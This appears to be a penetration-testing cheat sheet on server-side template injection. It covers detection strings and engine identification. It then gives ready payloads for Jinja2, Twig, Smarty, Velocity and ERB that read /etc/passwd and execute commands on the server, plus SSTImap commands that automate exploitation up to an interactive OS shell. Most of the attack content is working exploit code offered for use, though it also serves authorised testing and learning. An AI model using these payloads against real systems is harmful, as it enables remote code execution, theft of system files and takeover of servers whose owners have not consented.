Server Side Template Injection (SSTI)

Server side Template Injection (SSTI) occurs when an attacker can inject templating code into a template that is later rendered by the server. If an attacker injects malicious code, the server may execute the code during the rendering process, allowing the attacker to take complete control of the server.

Confirming SSTI

The process of identifying an SSTI vulnerability is similar to the process of identifying any other injection vulnerability, such as SQL injection. The most effective way is to inject special characters with semantic meaning in template engines and observe the web application’s behavior. The following polyglot test string is commonly used to provoke an error message in a web application vulnerable to SSTI, as it consists of all special characters that have a particular semantic purpose in popular template engines:

${{<%[%'"}}%\.

If you get an error (a stack trace, a 500, or any failing output), it’s a good indicator for a SSTI Injection. From there, test with something that proves code execution rather than just a parsing error:

{{7*7}}

If 49 comes back in the response, you’ve got SSTI. Before exploiting further, you need to identify which template engine is in use, payloads are not portable between various engines.

Identifying the Template Engine

We can use slight variations in the behavior of different template engines to determine which one is in use. Each delimiter style and math operator narrows down the possible engine:

Once you have a possible engine, jump to its tab below.

Template Engines

Jinja2 (Python)
Twig (PHP)
Smarty (PHP)
Velocity (Java)
ERB (Ruby)

# Confirm
{{7*7}}

# Internal config / app info
{{ config.items() }}

# Local File Inclusion
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

# Remote Code Execution
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Alternative RCE if __builtins__ is filtered
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}

Check PayloadsAllTheThings: Jinja2 for more techniques

# Confirm
{{7*'7'}}

# Local file inclusion
{{ "/etc/passwd"|file_excerpt(1,-1) }}

# Remote Code Execution
{{ ['id'] | filter('system') }}

# Alternative RCE (registers a filter callback)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Check PayloadsAllTheThings: Twig for more techniques.

# Confirm
{$smarty.version}
{7*7}

# RCE (deprecated in Smarty v3, removed in v5 — still common on older apps)
{php}echo `id`;{/php}
{system('id')}

# RCE via filter obfuscation (works on newer, hardened versions)
{{['id']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Check PayloadsAllTheThings: Smarty for the full obfuscation set, including the boolean/time-based blind variants.

# Confirm
#set($x=7*7)$x

# RCE via Runtime
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass().forName("[Ljava.lang.String;")).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),[["id"] as String[]])

# Simpler form if direct class access is allowed
#set($process=$runtime.exec("id"))
#set($null=$process.waitFor())

Check PayloadsAllTheThings: Velocity for more techniques.

# Confirm
<%= 7*7 %>

# RCE
<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').read() %>

# Local file read
<%= File.read('/etc/passwd') %>

Also check for Erubi, Erubis, HAML, and Slim, they share the same universal Ruby payload class since the underlying language is still Ruby. See PayloadsAllTheThings: Ruby for engine-specific wrapping.

Automated Tools

SSTImap identifies the engine and automates exploitation (file read, command execution, interactive shell and more..)

# Scan for SSTI
./sstimap.py -u https://example.com/page?name=John

# Run a single command
python3 sstimap.py -u https://example.com?name=test -S id

# Drop into an interactive shell
python3 sstimap.py -u https://example.com?name=test --os-shell

# Check the help menu (-h) for the full flag list

Tplmap is an older, Python2 only alternative with similar functionality.

Quick Reference Tools

SSTImap

Detects the engine and automates exploitation across Jinja2, Twig, Mako, Freemarker, and more.

tplmap

Older Python 2 SSTI automation tool, still useful as a fallback.

PayloadsAllTheThings: SSTI

Per-language payload breakdown (Python, PHP, Java, Ruby, JavaScript) with sandbox-bypass chains.

HackTricks: SSTI

Broader engine coverage including less common ones (Pebble, Thymeleaf, Mako, Tornado).

PortSwigger: SSTI

Methodology writeup and Academy labs for practicing detection and exploitation.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources